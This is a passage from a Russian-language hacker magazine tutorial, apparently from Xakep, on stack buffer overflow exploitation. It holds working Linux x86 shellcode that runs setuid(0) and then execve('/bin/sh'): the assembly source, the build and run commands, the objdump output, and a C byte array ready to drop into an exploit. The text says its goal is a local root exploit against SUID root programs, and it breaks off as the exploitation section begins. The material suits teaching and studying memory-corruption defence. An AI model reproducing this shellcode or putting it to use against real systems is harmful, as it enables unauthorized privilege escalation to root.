|
Переполнение буфера в стеке. Шествие второе kas1e Xakep, номер #051, стр. 051-060-3 # которому все это расположилось, копируем его в ecx movl %esp,%ecx # вот здесь скопировали .byte 0x99 # это инструкция cdql, но 'as' ее не # понимает, поэтому сразу написали в машинном коде movb $0x0b,%al # ну и теперь номер вызова в al int $0x80 # и делаем этот вызов [bof]# as shellcode.s -o shellcode.o [bof]# ld shellcode.o -o shellcode [bof]# ./shellcode sh-2.04# exit exit [bof]# Итак, у тебя есть сорсы, которые дают шелл. И ты уже можешь использовать его в эксплоитах. Единственное, что необходимо сделать, перевести его в машинные коды. Это можно сделать objdump'ом, gdb или любым hex-редактором: [bof]# objdump -D ./shellcode ./shellcode: file format elf32-i386 Disassembly of section .text: 08048074 <_start>: 8048074: 31 c0 xor %eax,%eax 8048076: 50 push %eax 8048077: 68 2f 2f 73 68 push $0x68732f2f 804807c: 68 2f 62 69 6e push $0x6e69622f 8048081: 89 e3 mov %esp,%ebx 8048083: 50 push %eax 8048084: 53 push %ebx 8048085: 89 e1 mov %esp,%ecx 8048087: 99 cltd 8048088: b0 0b mov $0xb,%al 804808a: cd 80 int $0x80 Disassembly of section .data: [bof]# Теперь перепишем все это в нормальный вид, в виде символьного буфера с добавлением setuid(0) вызова: char shellcode[]= // - символьный буфер с шеллкодом "\x33\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ setuid "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68""//sh" /* pushl $0x68732f2f */ "\x68""/bin" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ execve "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cdql */ "\xb0\x0b" /* movb $0x0b,%al */ "\xcd\x80"; /* int $0x80 */ Для того чтобы запущенный шелл получил root-привилегии, ты должен сделать в шеллкоде системный вызов setuid(0). То, что программа суидная, как раз и разрешает тебе делать такой вызов. В результате мы получили код, выполняющий setuid(0), а затем запуск execve(/bin/sh). Итак, теперь у нас есть готовый шеллкод. И этот самый код мы будем впихивать при переполнении буфера в стеке. Т.е. мы сделаем следующее: регистр eip будет указывать не на какие-то левые адреса, а на адрес, по которому расположен наш шеллкод. И нетрудно догадаться, что если программа будет суидная, и ее владелец рут, то при удачном раскладе, ты и получишь эти желанные привилегии рута. А то, что мы сделаем, и будет называется "локальный root-эксплоит" :). Способов их написания довольно много, но я рассмотрю самый простой из них. Эксплуатация переполнения Итак, мы подошли к самому интересному. Ты теперь знаешь, что такое переполнение стека, какие файлы желательно переполнять. Ты знаешь, что такое шеллкод и как его написать. Остается одно - применить все это на практике. Проблема всех эксплоитов, основанных на переполнении буфера, заключается в том, что мы часто не знаем адреса, который нужно положить в eip для вызова шеллкода. Самый простой выход из такой ситуации - статические адреса. Т.е. адреса, которые не меняются. В linux, при запуске файла, начиная с адреса 0xbfffffff и далее вниз, лежат такие данные: |